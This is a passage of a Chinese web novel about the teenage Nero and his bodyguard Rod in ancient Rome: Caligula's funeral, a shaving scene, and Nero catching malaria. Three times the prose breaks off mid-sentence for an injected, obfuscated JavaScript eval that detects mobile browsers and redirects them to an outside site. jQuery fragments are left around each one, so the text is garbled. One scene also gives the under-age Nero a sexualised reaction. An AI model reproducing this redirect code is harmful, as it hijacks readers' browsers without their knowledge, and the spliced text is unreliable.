他将剑刃抵在厝石上,磨了几下,摩擦砥砺出刺耳的声响。他冷漠地扫一眼剑刃,反手一动,剑的寒光倏地跳上他的眉眼,一道剑芒恰好照亮他的黑眼睛。
尼禄端着牛奶,驻足在门口。他看得太愣神,杯里的牛奶晃了出来,洒了他一手。
“奶洒了。”罗德瞥他一眼,嗖地将磨好的剑归入剑鞘。
尼禄慌乱起来。他窘迫地挪步进来,凉靴里的脚趾不自然地蜷起。他的脚背很细嫩,此时显有一层绯红色。
罗德鹰一样的双眼盯到他微微颤抖的手,没说什么,一个转身就坐上窗台。
他用手肘顶开百叶窗。
仲夏正午的罗马,遍布着金黄的尘土,象一滩熔化的黄金浇灌其上。
罗德倚靠着窗框,慵懒地耷拉着眼帘,手里玩弄似的抚摸剑柄。他的头发被吹得乱翘,他就任发丝乱飞,一副顽固而任性的样子。
“有什么事?”他歪过脸问,黑睫毛闪有一层莹润的彩色。
尼禄的眼睛亮得象日晕。那本应该因为强烈的正午阳光而不适地眯起的,但并没有。
“明天是卡里古拉的葬礼。”他说,“我要为他抬棺,还要面对民众做葬礼演讲。”
罗德眯起的眼睛猛然睁开,瞬间又慢慢阖上。一道极锋利的暗芒从他眼里威射,好象什么阴险而无名的暗器。
“迟来的葬礼。”他沉沉地说。
“他的葬礼迟来了八年。”尼禄接道,“他被他的亲卫刺死,尸体烧了一半就埋了。我母亲为了让我能在公共面前露脸,又把他的尸体挖了出来,重新烧给所有人看。”
罗德一脸思索的表情。他的手指微抖,缓慢地抚着剑刃,好象在压抑着什么。
当年,泰勒斯因为刺杀皇帝而处以极刑。身为儿子的罗德本应该也被处死,但马尔斯动用很多人脉和财力,才让罗德幸免于难。
从那时起,罗德不得不对外隐瞒姓氏。
“悲哀的皇帝!”他冰着脸说。他的语气锐意而硬邦邦,好象里面藏着一把剑。
“没人会为他悲哀的。他嗜赌如命,又无能得要命!”尼禄冷淡地说,“他是一个没有政绩的糊涂皇帝。”
罗德抓了抓乱糟糟的头发。刺眼的阳光已使他不耐,而他懒洋洋的模样好似一头匍匐着休憩的豹子。
他抽出利剑,把玩般地在手掌里打旋,“总之他是个悲剧就是了!”他满脸骄躁地说。他漆黑的剪影象一笔黑墨洇开在金黄的罗马中。
白亮的剑光象游龙一般横扫,刺痛了尼禄的眼睛。然而他忍着疼痛,舍不得闭眼。
人心乃贪婪而善忍之物,追逐快感凌驾于忍耐痛感之上。
尼禄轻轻呡了一口牛奶,白色的奶渍沾留在他唇边未退的绒毛上。
……
卡里古拉的葬礼可谓声势浩大。
司葬们打扮得花里胡哨,他们穿着卡里古拉生前穿过的衣服,戴着冥神面具,抬着黑色木棺涌进街道。站在前面的演员在身上和脸上涂满白|粉,一路跳着颇为滑稽的舞。身穿黑衣的女子在队伍后面大声哭丧。人们站在街边,朝棺材上撒花瓣。
尼禄穿着黑丧服,怀里抱着卡里古拉的石膏像,走在整个队伍的中间。
他化了浓妆。银发上洒满金粉,浓重的墨线象箍子一样紧紧箍住他青稚的双眼。他的嘴唇泛着紫红,上面涂着用红海藻捣碎而制成的口红。
他稚气未脱的五官,已经因为这浓厚的妆容,而初显成年人的深邃与成熟。
罗德就走在他的身后侧,一贯的黑衣,如附骨之游魂一样跟着他,手里照例按着他的长剑。
他沉稳的黑色身影,象一道重剑的暗光劈砍开一路的吵闹声。
尼禄手抱重物走了一路。他满头大汗,呼吸有些紊乱,几缕汗湿的头发黏在前额。有几只蚊子围着他乱叫,被他不耐烦地赶走。
“我快渴死了……”他低声对罗德说,“这些可能带着疟疾的蚊子总是围着我转!”
“忍耐。”罗德平静地扫他一眼,“您没有别的办法。”
尼禄顿时委屈起来,眼睛里的聚光晃晃悠悠的,象夏日水潭里涟漪荡起时的颤动波光,那甚至算是可怜了。
“你替我擦擦汗吧,罗德……”他故意凑近罗德,不顾旁人地蹭了蹭他的手臂。他的稚气,好象从那层粉饰的面具之下泄露出来。
“我的眼睛就象被盐腌渍了一样疼!”他神色委屈地说。
说完,他满脸期待地仰起头,示意罗德给他擦脸,就象一只等待主人摸头挠痒的小猫。
他的银发很亮泽,象是由象牙雕刻而成。在深刻的眼线之中,包藏着他黄碧玺般的眼睛。
罗德取出丝布,将他额角的汗滴擦干。丝布从他的前额轻轻移到眼睛,忽然顿住了。
“怎么了?”尼禄抬眼问,声音里隐含一些不符合主人身份的卑微。
罗德淡定地擦拭起来,剑锋般的眉目十分激进,直逼尼禄的眼底。他冲尼禄轻轻一笑,微笑好象锯子一样锋利。
“您长得还蛮帅的呢!”他赞叹道。
尼禄先是愣了一下,紧接着心头就象虫蟊蠢动一样,有什么略微刺痒的动静。他的心跳不由自主地就跳快起来。
羞红宛如油滴浸纸一般,渐渐渗透他的面颊。他低垂着脑袋,耳根红得象充血一般。
“害什么羞?!”罗德调侃一句。他用两指捏住尼禄的下巴,硬是抬起他羞红的脸,强迫式地擦干他的汗,动作颇为霸道。
尼禄闷着声,手指紧紧抠着石膏像。
队伍欢闹着走了一路,终于到了用以火葬的广场。
木柴枝条已经搭建好,地面铺就一层花瓣,乐师拍着羊皮鼓、吹起悲怆的旋律。哭丧的女奴跪在棺木前,将黑纱铺在棺材盖上。几个奴隶树起卡里古拉的墓碑,那上面还刻着墓志铭。
尼禄搬起石膏像,将它嵌进墓碑顶端的凹槽里。
他没有时间喝水,立刻就登上演讲台准备葬礼演讲。
广场已经聚集很多人了。他们大多都是贵族,举止很优雅,神色保持着适度的肃穆。
罗德在台下,行走在人群周围巡视。他颀长的身影象幽影一样来回扫动,有一种恶灵的凶悍气质。
突然,他的肩膀被人轻缓地拍一下。
向来警觉的罗德一触即发。他翻手拔剑,剑刃抽到一半时猛地顿住,又象困兽一样被他硬是给按了下去。
他微微倒抽一口气,神情复杂地说:“马尔斯,你的身体不允许你来参加这个!”
马尔斯由他的奴隶搀扶着,脸色灰暗如褪了色的羊皮纸。他身上散发着浓烈的药草味,一种由意志勉强支撑的光色闪烁在他衰弱的眉目
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17239631|197669||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,马上就要夺眶而出。
“我的身体已经恢复了一些……”马尔斯的说话声中含有气喘,“我可不想象个废物一样被困死在床上……”
“他毕竟是被泰勒斯刺死的。我是泰勒斯的朋友,应该来看看他……”
罗德沉着脸,眉眼间尽是晦暗。任何看到他的脸庞之人,都会被他沉重的面目所累。
这时尼禄走到墓碑前,清了清嗓子,细长的手里捏着几张演讲稿。
马尔斯日渐黯淡的绿眼睛远远地瞧他一眼,“他看上去不苟言笑,很难相处吧……”他说。
“不!”罗德摇了摇头,“其实他非常可爱,是个很有趣的孩子。”
马尔斯笑笑:“看来你们交往甚欢。”
尼禄站在人群前,开始了演讲:
“我的舅父魂断于刀匕。冥神念其血统的尊贵,时隔八年才承认他的命陨。须要铭记,他的银发曾承载月桂花冠,他的双手曾握过权杖,他的眼睛曾阅读卷宗公文!他身体已逝,血统却不会销蚀;他化为齑粉,帝位却不能被否认;他灵魂凋落,宝座却不会被削弱……”
马尔斯听了一会,宽心的微笑染上他的嘴角。他对罗德说:“这个孩子精通修辞……看样子他很有政治才能,比昆汀出色很多……”
“当然!”罗德很肯定,“他一定会是皇帝!”
“我比你更希望他是皇帝……”马尔斯语气悠长,眼里涌动着怀恋,象莹绿的水晶逐渐凝结成晶。
他顿了顿,有些担忧地说:“不过……据说前一阵子他贪污了买橄榄的钱款。贵族们都在议论这件事……”
罗德冷哼一声。他攥起钩子般的拳头,皮革手套与指骨摩擦出咯吱的声音。凶恶的神色蹿到他的眼眸里,他语气不善地驳斥道:“那尽是一帮颠倒黑白的垃圾!”
尼禄换一张演讲稿。他有过演讲的经历,动作从容,面对众人一点都不慌张。
“……和我的舅父一样,我总能得到额外的、爱屋及乌的关注,这绝不是因为我本人,而是因为我血管里流淌着伟人的血脉!那是如台伯河底的沉金一样坚固无懈的东西,抑或是如正午阳光一样横扫阴霾的东西!无疑,它是我的金羊毛,但更是悬在我头顶的达摩克利斯之剑……”
罗德眼底隐约有煞气。他扬起头盯向墓碑前的尼禄,无意间就扫过了墓碑。
墓碑上刻有几排很奇怪的拉丁文。
这几行拉丁文如吸血水蛭般,一瞬间就黏上了他的眼睛。
罗德清冷的视线定格在墓碑上,随口就念出了第一行:
『我将毕生所得,藏入一个地方,一个谜一样的地方……』
马尔斯了然,指了两下墓碑说:“卡里古拉作为皇帝毫无建树。除了这个谜团,他什么都没有为罗马留下……”
罗德停顿一会,接着看下去:
『它在虚无的神话之中,又在现实的生活之内;
它在纯洁的信仰之中,又在愚人的罪恶之内;
它在美女的嫩手之中,又在坚硬的水泥之内;
总之,它在你的视野之中,却在你的眼睛之外。』
『无人知晓此地为何,我只告知我的挚爱。』
这是极其令人费解的。罗德有些迷惑。
“这就是‘卡里古拉谜语’……”马尔斯喟叹,“没想到被后人刻成了墓志铭。他没什么值得吹嘘的政绩,只有这个还值得拿出来说一说……”
罗德思考了好一会,仍是无果。他匆匆瞟了一眼墓志铭,锋锐的字从他执拗的嘴唇里窜出:“怪得离谱!”
15. 陌生的反应
罗马的橄榄油一时短缺,尼禄进购的橄榄便起到了力挽狂澜的作用。
他获得了良好的口碑,之前说他贪污的谣言也止息了。
身为皇帝的克劳狄乌斯召尼禄进宫,象征性地要给予他奖赏。
百叶窗大开着,碎光如水般流动在榕树叶间。这一处方形的窗景,好象一块莹绿的宝石嵌在砂石铸成的墙壁上。
尼禄坐在卧室的铜镜前,奴隶们象蜜蜂一样围着他,帮他整理行装。
女奴点燃阿拉伯乳|香,熏染他的衣服。修甲奴舞着锉刀修剪他的指甲,家奴站在他身后,手摇彩色羽扇为他驱热。
尼禄抓了抓自己蓬乱的银发,凑近镜子,指肚抚过下巴上柔软的胡茬。
“我的理发奴呢?”他不满地发问,“面带胡须可不是件高雅的事。”
家奴摇着羽扇,恭敬地回答道:“很不幸,他就在前几天患了疟疾,昨天请假回家了。”
“疟疾?”尼禄摸着下巴,若有所思地说。他的眼眸随即如油墨般凝滞,有一种紧迫的意味。
“给他一万赛斯特斯让他养病。”他挥手支开女奴和修甲奴,“让所有奴隶都注意点,不要染上这个麻烦的病。”
“家里已经买进了能驱蚊的艾草。”家奴说,“只要驱走蚊子,就能远离疟疾。”
尼禄从银盒里取出刮胡刀,翻手一转,刃光如白浪一样翻滚过他的脸庞。他稚嫩的眼角泛起一点星辰般的微光,纤细的指尖如羊脂膏般排列在刀柄上。
他将略长的鬓发扯到后面,“家里还有谁会理发?”
家奴还没张口回答,窗外就有个利落的声音如飞箭般射进来:“我!”
尼禄心中如花芽破土般微动。
他扬起头,散乱的额发随即耷拉到眼睛。他的银发卷翘而蓬松,细碎的刘海半遮住眼帘,使他看起来十分儒弱和腼腆。
罗德直接从榕树上跳进窗子,蹬蹬地踩着书桌,最终如落叶归根般落到尼禄身边。
他有力地按住尼禄僵硬的双肩,一下子夺过刮胡刀,熟练地在掌心打着转,引起阵阵刀风。
“我会这个。”罗德笑着说。他在镜中与尼禄对视,旋转的刀光象水波一样在两人脸上疾速荡动。
他极好看的眉目与尼禄近在咫尺,近乎是一种雌雄难辨的美貌。
心绪敏感的尼禄连忙低下头,羞红如潮水一般逐渐漫过他的脖颈和脸颊。
罗德从盒子里挖出一坨脂膏,利钩般的手硬是扳起他的脸,重重地抹在他的下巴上。
“哦……”尼禄象被他欺负了一样,柔软的双唇抖动一下,本能性地攥紧衣角。
刮胡刀的利刃磨蹭着尼禄的下颚,罗德呼出的热息如游虫般钻进尼禄的耳洞。他衣料间的皂角味极凌厉,好象轻轻一闻,从鼻腔到肺部的血管都会被这气味割破。他的气质太强大,几乎要将内心脆弱的尼禄灭顶。
尼禄心跳加快。他偷摸地将眼眯开一道缝,恰好偷瞄到罗德线条深刻的锁骨、以及莹白的皮肤。
他忽然腹中一热。
未经人事的男孩,尚不清楚这个陌生的反应代表着什么。
罗德刮完胡茬,又撩起他的额发,剪羊毛似的,咔嚓几声剪短他的刘海。
他收起刀锋,盯着尼禄红得几乎泛紫的脸,自以为了然地说:“您不要紧张,我很熟练操纵刀剑,伤不到您。”
“……我不是那个意思……”尼禄小声地嘟囔一句。他软绵绵的语气听起来很无力。
罗德轻淡地瞥他一眼。他抓起桌上的湿巾,丢给一旁的家奴,“接下来的清理就是你的事了。”
家奴恭顺地点点头,放下羽扇,用湿巾擦净主人满是胡渣的下巴。
罗德拍掉黏在衣服上的几缕银发,准备转身出门。
“罗德……”尼禄轻飘飘地喊住他,神色有些羞赧。
罗德侧过脸,由刀斧削刻般的侧颜暴露无遗。
尼禄忸怩地捏着衣角,小心地问:“我要出去一趟,你能陪我吗……”
罗德皱起眉头,口气锋锐地说:“您不必如此卑微。我是您的亲卫,您有权命令我做任何事!”
尼禄产生一种得逞之上的安心。
……
面见克劳狄乌斯时,麦瑟琳娜就坐在皇帝的一旁。
尼禄银发红袍,身后还跟着黑发黑衣的罗德。他向王座之上的皇帝行了礼。
“鉴于你出色的表现,我决定赐予你一些奖励,尼禄……”克劳狄乌斯勾着脊背,象一只蹲在黄金宝座上的老麻雀。
他说话的声音愈发小起来,用余光偷偷扫视身旁的麦瑟琳娜,一副窝窝囊囊的样子。
麦瑟琳娜瞪了他一眼,涂抹得血红的嘴唇动弹两下,面色不善,接着他的话说:“我们要赠予你5优格拉姆的土地,还有两名精通烹饪和制衣的女奴。你要知道,这两名女奴的价钱可比常胜的角斗士还贵!”
“我以我的身心和荣誉感激这一切。”尼禄平淡地说。
麦瑟琳娜脸色阴重。她站起来,踩着一双镶嵌宝石的红凉鞋,咣咣地走到尼禄面前。
“你可要牢记我们赋予你的恩泽!”她以风凉话的口气说,红指甲掐了掐尼禄的脸颊。
昆汀的失败和不顺使她善妒的习气更重,对一时得胜的尼禄更加憎恨。
“回去以后,别忘了替我转达对你母亲的问候……”麦瑟琳娜恶狠地说。毒辣犹如汗液般从她前额和眉眼间渗出,“我很久没见她了……这几天正打算去拜谒她。”
“我会的。”尼禄扭着眉,嫌恶地躲开她愈发使力的手。
麦瑟琳娜涂满金粉的眼皮抬起,勾得上翘的眼线一颤,就如黏人的蟾蜍般钉在罗德脸上。
生性淫|荡的她如挖到宝一般,妆感浓重的双目间放射出可谓贪婪的红光。
“你的眼光倒是不错……”麦瑟琳娜急切地伸出手,去摸罗德的脸,“他长得可真英俊!”
她狡猾如滑鱼一样的手,从罗德的唇角一路抚到他的喉结,又贪恋般地抚摸他的胸膛。
罗德脊梁笔直,冰彻如寒窟的眸线一动不动。
尼禄猛然抓过她不安分的手,在她刺伤未愈的手心处狠狠一按。
麦瑟琳娜疼得惊叫一声,想撤回手,但被尼禄死死捏住伤处不放。
“他是我的人。”他面无表情地说,险恶的情绪如枯藤般爬满他的脸庞。他眉骨之下便是黑云,好象冥河水一般淹没他青涩的眉眼。
麦瑟琳娜心惊。她费劲地扯了两下才抽回
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17239632|197669||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
手,揉了揉肿痛的掌心。绑在小臂的红宝石手链发出哗哗声响。
她怨恨地瞪着尼禄,气氛一时间陷入僵局。
宝座之上的克劳狄乌斯咳嗽两声,他沙哑陈旧的嗓音疲惫地传过来:“行了……尼禄,你领到了奖赏,现在可以退下去了……”
尼禄向皇帝俯身行礼,眼神漠然地离开了,同他的亲卫一起。
麦瑟琳娜死盯他的背影,双唇如蠕虫般弹跳几下,小声咒骂一句。
克劳狄乌斯叹息一声。他歪靠在过于宽大的宝座上,满是皱纹的鼻梁一缩,一副很不自在的样子。
“你总该给我留点面子……”他不太高兴地说,“我知道你喜欢长相漂亮的美男子,可尼禄毕竟是我的后辈……”
“闭嘴!”麦瑟琳娜火红的身影转过来,咄咄逼人,“当了皇帝,就知道爱面子了吗?!”
“这不是脸面的问题……”克劳狄乌斯被她瞪得有些发虚,“可我们俩都不爱听那些闲言碎语,难道不是吗……”
麦瑟琳娜抄着胳膊,嘴角迸出一丝讥讽,一副悍妇的架势,“你这张总挂着口水的嘴,与其来指教我,不如去劝服那些橄榄油商,让他们少索取一点赔偿金!”
克劳狄乌斯愁容满面。他瘦弱的身体瘫在座上,佝偻着脊梁,无论何时都有一种猥琐的气息。
“那些一心只装钱的商贩可不是那么好对付的。”他哀怨地说,“这件事闹得满城风雨,他们更要借这个机会大捞一笔了……”
麦瑟琳娜神色阴狠,盛气凌人地说:“那就把你背着我偷买的那座大理石豪宅卖了!给我们唯一的儿子还债!”
克劳狄乌斯吸了吸鼻涕,发出吭哧吭哧的声音。他委屈极了,愤慨好象蔓草一般,快速攀附上他皱缩的面庞。
“凭什么?”他哆哆嗦嗦的,神情幽怨。本着头脑发热的劲头,他说出了早就想说的话,“昆汀和我长得一点也不像,谁知道是不是我亲生的儿子……”
麦瑟琳娜愣了一下,嘲弄地笑笑。她架着胳膊走回到高座上,不可一世的模样。
“你管这么多做什么?!”她带着极重的戾气说,“名义上是你的儿子就够了!”
克劳狄乌斯气得嘴唇发紫。他拼命地抿着嘴,涨红了脸,面部每一块肌肉都在剧烈痉挛。他笨重的驼背因此弯曲得更加厉害,鼻腔里发出嗤嗤的气声,。
“哼!瞧你这敢怒不敢言的模样,就象一只被逼到墙角的老鼠!”麦瑟琳娜不甘示弱地抨击他,嗓音尖利得如暗含锥刺。
她交叠一下双腿,雪白的大腿从红纱裙下显露,很放|荡的姿态。
“别忘了……你是本着谁的嫁妆和资源,才坐上你屁股下的宝座的!”
克劳狄乌斯如被点醒般僵硬。他粗喘了几下,硬生生将愤怒压制下去。
他挤出一副讨好的笑容,靠到她的脚前,拉过她的手亲吻着说:“别担心……我会为昆汀作担保,替他说点好话。这事很快就会过去……”
麦瑟琳娜冷哼一声,任由他卑下地亲吻,没有缩回手的意思。
克劳狄乌斯心感悲哀,但也暗喜她这还算积极的反应。
他连忙跪伏在她脚边,捧起她的红凉鞋亲吻几下,就象一个奴隶在讨好他的女主人。
16. 奇异的鱼酱
昆汀一时成为众矢之的。尽管克劳狄乌斯替他平息了官司,但他无疑是贵族元老们茶余饭后常常提起的笑柄。
宛如饕餮的昆汀以暴饮暴食的方式排解郁闷。
他油腻地躺在沙发上,一颗一颗地往嘴里丢鹰嘴豆。奴隶用扇子扇冰块,让肥胖的他感到凉快一些。
昆汀抠掉扇贝里的肉,吧唧吧唧地大嚼特嚼,还用指头蘸蘸胡椒汁,回味无穷地吮吸几下。他的眼睛在瞥到煎胭脂鱼时冒出绿光,膨胀的腮帮晃动着,好象一头摇头晃脑的肥猪。
他扫过一桌美食,满嘴油光地抱怨一句:“没有鱼酱!”
屋大维娅站在纱帘后,从帘缝间看着大快朵颐的昆汀。
她是昆汀的姐姐。她完全继承了父亲克劳狄乌斯的长相,粗脖子塌鼻梁,脊背也象拱门一样拱起。她还有轻微的狐臭,身材过于干瘪和畸形,就象一只蜷缩在角落的跳蚤。
由于极为相似的长相,克劳狄乌斯认定她是亲生女儿,对她格外宠爱。
昆汀舞动着银牙签,挑起盘里的夜莺鸟舌,在肉桂酱里搅拌几下,迫不及待地伸出舌头去接,吃相十分粗俗。
“昆汀……”屋大维娅晃着驼背走进来,神色不满地说,“你把我的夜莺鸟舌也给吃了!”
昆汀瞟她一眼,肥大的鼻头攒动几下,自顾自地继续吃。
屋大维娅用指头重重敲击餐桌,扣出令人烦躁的声响,“喂!这些夜莺鸟舌可是花了我一百个第纳尔买的!你这个猪一样贪吃的家伙!”
昆汀不慌不忙。他用嘴巴去够胡椒汁,象饿狗一样舔光酱汁,嘲笑他的姐姐说:“哪里来的臭虫?这股臭味简直毁了我吃饭的乐趣!”
屋大维娅最恨别人取笑她的狐臭。她愤恨地捶了他一拳头,塌陷的鼻子缩成一头蒜,“就因为你的无能,父亲把允诺赠给我的别墅卖掉了!”
她气得一把薅住昆汀的红发,声音尖利地说:“你就是个吸血虫!”
昆汀打掉她的手,几缕油腻的红发被揪掉了。他揉了揉疼痛的头皮,双下巴被挤得鼓出来,“你丑得象父亲,凶悍的脾气倒象母亲!你就是集合了所有缺陷的垃圾!”
“噢!我要用叉子戳瞎你的眼睛!”屋大维娅气得抄起银叉,挥动粗短的胳膊。
她跺了两下脚,象蝙蝠一样飞跳过去,与昆汀撕扯在一起。
她的银叉准确无误地插进昆汀的胳膊上。昆汀疼得翻了个白眼,一个重拳砸上她的驼背。屋大维娅发出猪嚎般的惨叫声。
一旁侍候的奴隶憋着笑,将这对冤对般的姐弟俩拉开。
屋大维娅粗喘着气坐上沙发,象一只发威亮齿的豺,“肥猪!”她骂道。
昆汀捂着渗出血的伤处。他那一双晶亮的小眼,深深嵌进满是肥油的脸上,好象钉子一般钉住不断摇晃的脸皮。
他神色怪异,眼窝里满是灰黑的阴影,鼓胀的脸颊形状狰狞,就象一只被冥神召唤的亡魂。
昆汀站起身,鼓鼓囊囊的下巴抖动着,装满油脂的五官流动成阴狠的表情。
他突然掀起盛放剩鱼刺的小盘,一下子就拍到屋大维娅的脸上。
屋大维娅直蹬腿,象一只四脚朝天的乌龟。
“欺负我的人都别好过!”昆汀好似香肠的厚嘴唇一开一合地说。
奴隶们慌忙跑过去,去解救被鱼刺扎得直叫的屋大维娅。
……
皇帝夫妇奖赏给尼禄的女奴的确是善于烹饪。
榕树之下的庭院好象浮起一层青藻,阳光被打碎从叶缝间垂落,象一缕缕光雾曳动在这里。
女奴坐在天井边,穿着粗麻制的围裙,手上在熟练解剖鱼腹。
她掏出金枪鱼和鲭鱼的内脏,与贝肉一齐撒上粗盐粒腌制;最后再与松香和蜂蜜调合,放在陶罐里暴晒。
等到鱼内脏发酵彻底,陶罐中过滤后的清澈液体就是鱼酱,剩下的沉淀物可以用来抹面包吃。
鱼酱是一种成本很贵的食物,再加上制作起来气味很大、容易招引蚊蝇,克劳狄乌斯便下令限制在城市里腌制鱼酱。
也因此,贪嘴的贵族们即使出高价也很难买到这等好物。
罗德坐在榕树上休息,汗水顺着他刚硬的下颌滴落。他带着黑手套,翻手将沾染砂砾的剑刃收入剑鞘,白色剑光象游龙一样逆行他的周身。
他刚刚练完剑,对着牛皮水壶灌一大口冷水,用衣袖潦草地擦去脸上的汗。
一阵略带冷冽的风吹来。凉意好象羸弱的血丝,生长在空气里。罗马七月流火。
罗德突然意识到,尼禄的生日快要来了。
当年,尼禄在登帝后,将自己的生日设立为“尼禄节”。在那一天,所有罗马人不必工作,可以去剧院观赏竞技、音乐和戏剧。
血淋淋的鱼肠码齐在天井边上,上面覆盖一层苍白的盐晶。女奴用石钵捣碎一种红色的药草,悉心地将药草碎末抹在盐晶上,猩红的血水被挤压出来、流淌一地。
“这是什么?”罗德从树上跳到女奴身后,如黑鹰般落地,低沉的嗓音如闷钟一样从背后敲打她。
女奴惊吓一下,手间的药草碎也抖落一些。
赭红色的药草粉十分鲜艳,象一片充满毒菌的红藻。在这片青绿而温柔的庭院里,就象一滩不断滋生的菌群。
“是藏红花,大人。”女奴敬畏地回答,“它能治疗肠胃病,还能让鱼酱有浓郁的香味。”
罗德质疑。他捏起一点红药粉放在手里,凑近鼻尖闻了闻。
这的确是极其馥郁的藏红花的清香气味。
强烈的鱼腥气引来许多蚊蝇。它们嗡嗡叫着,叮咬鱼内脏,女奴不时挥手驱赶。
罗德站定一会,平静的黑眼瞳匆匆扫过这一地狼藉。他闻了两下,令人不适的血腥如蜡油一般封住他的鼻子,使他有点反胃。
“蚊蝇会传播疟疾。”罗德沉沉地说,语气有些凶恶,“皇帝的限制令对你来讲不起作用吗?!”
女奴甩掉手上的血水,粗糙地往围裙上擦几下,连忙跪倒他脚边说:“是主人允许了我酿制鱼酱。他说……”
她顿住了嘴,欲言又止。
“他说了什么?”罗德逼问。
“我想让你尝尝这个……”尼禄掩着鼻子说。
他走到罗德面前,纤细的骨架撑起宽松的红袍,细碎的阳光溜下来,浮流在他修剪得服帖的卷发上。
罗德面色不
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17239633|197669||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
佳,肩背警戒地紧绷,“家里已经有奴隶患了疟疾。您不应该为了一个近卫的口腹之欲这样做!”
尼禄细长的眉毛一蹙。他神情委屈,密集的眼睫微微颤动,眼睑之下几颗淡淡的雀斑随之晃抖。撒娇的情绪慢慢渗出,染满他的脸,使他象一只索取拥抱的、刚出生的小奶狗。
罗德调整一下神色,拽住榕树的气须蹬上树干。
这个位置能使他观察到院内院外的情况,方便他守卫。
他向委屈之中的尼禄伸手,以松弛的口气说:“上来吧……”
罗德话音还未落,余光就瞥到门口的一个黑色幽影。他猛然撤回手,谨慎地按住长剑。
尼禄循着他的眼光看向门口,刚刚还纯真的五官如镀上一层银般深沉。
阿格里皮娜身穿黑丧服,在青辉遍照的庭院间,象陡然焚烧起来的一把黑火。
“现在还没有出丧期!”她一贯的强势,“你还不能穿红色!”
尼禄默不作声,对她冷眼以待。
“你这次表现得还算不错。”阿格里皮娜难得地夸奖儿子。
她压下眉锋,浅棕色的眼瞳蓦然闪过一丝柔软,好象一片柔嫩的蛇鳞,“总算没给你的父亲丢脸……”
罗德在树上留意到她这一瞬间的异样,眼神微动。
“你的15岁生日就在一个月后,这是你的成年生日。”阿格里皮娜恢复了冷漠,“我在元老院帮你争取了一个演讲的机会……”
尼禄的脸瞬间黑下来,眉目间好象聚集了一堆阴云。
阿格里皮娜继续道:“以生日为契机,你要向那帮元老证明自己能独当一面!”
“我不去。”尼禄打断道,“那是我自己的生日……”
“政治家没有生日和节日!”阿格里皮娜强硬地说,“你太任性了!”
她的红唇沉重地开合,好象被一层红锈所累赘。她郑重其事地说教道:
“要成为一名奥古斯都那样的领袖,你目前的努力和忍耐都不够格!要知道,人生中所有的眼泪和隐忍,都不过是荣耀来至之前的蠢蠢欲动!”
红血丝覆盖上尼禄的眼睛,有一种压抑。无奈的情绪从他脚底慢慢生根,沿藤一点点攀爬到他的头顶。尼禄无力而僵直地站着,感到一些晕眩。
阿格里皮娜叹息,刚强的气质象铠甲一样包围着她。
“你太幼稚了!尼禄。你什么时候能强大起来……”她顿了顿,“象你的父亲那样……”
她说完这句话,身影就象浓烟散去一般消逝在门口了。
尼禄胸口憋闷,抑郁如冰晶般慢慢阻塞他的血管。他细嫩的眼帘一垂,就形成一片脆弱的睫影。他的身材十分纤瘦,细碎的银色刘海半掩住腼腆的眉目。
突然,一枝青色的树叶垂下来,轻扫他挺翘的鼻尖。
尼禄被弄痒了鼻子,用手指抹了两下,淡褐的雀斑随之颤动。
他茫然地抬起头,那双明锐的黑眼睛就猝不及防地钉入他的眼底。
“伤什么心?”罗德晃动着树枝笑道。
他端丽的五官掩在青叶后,朱砂般的双唇一勾,“上来!坐我身边来。”
尼禄心感蚁虫蛰咬般的痒。
17. 外冷内热的罗德
尼禄裹紧羊毛毯,一顶银毛从毯子里钻出来,象一只软塌塌的花蕊。
自从那天掉进天井,他就出现了畏寒的症状。
医生用探针检查尼禄的舌头,又仔细观察他青紫的口唇,很快就诊断出他患了疟疾。
疟疾令人谈之色变,对罗马人来说无异于梦魇。无数人遭到疟疾的戕害,那是一种通过蚊子和血液传播的疾病。
尼禄攥紧羊毛毯的手渐渐松懈,他青春的面庞象糊上一层闷油般凝滞。他的指尖轻微颤抖,一片暗影遁入他细软的鬓发之下,使他的脸色如被恶鬼拂面般的凝重。
尼禄僵硬地站起身,迈出一个个枯柴般的脚步,几乎是如石膏像推移一样挪出了卧室。
罗德蹲在树上等他。他敏锐的眼光如刀斧般削砍过来,一下子就捕捉到尼禄的异常。
毯子松开掉在尼禄脚下,被他直挺挺踩了过去。他轻飘飘的骨架宛如骷髅在宽袍下移动。
罗德跳下树,一把捏住尼禄的胳膊,慎重地问:“医生怎么说?”
尼禄偏过脸,酡红象血点一样慢慢渗出他的面腮。他不自然地抽回胳膊,软声软气地说:“没什么……”
他没走几步,脚就被羊毛毯绊住了。他整个人就象表演一样趔趄一下。
罗德揽住尼禄的肩。他如浓黑的云翳一般伏近他,微翘的黑发顺势刺痒他的脖子。尼禄闻到了沾染他衣服上的树叶的清苦味。
他锐意的眼眸一动,双手钳紧尼禄的肩膀。他严肃地问:“到底怎么了?”
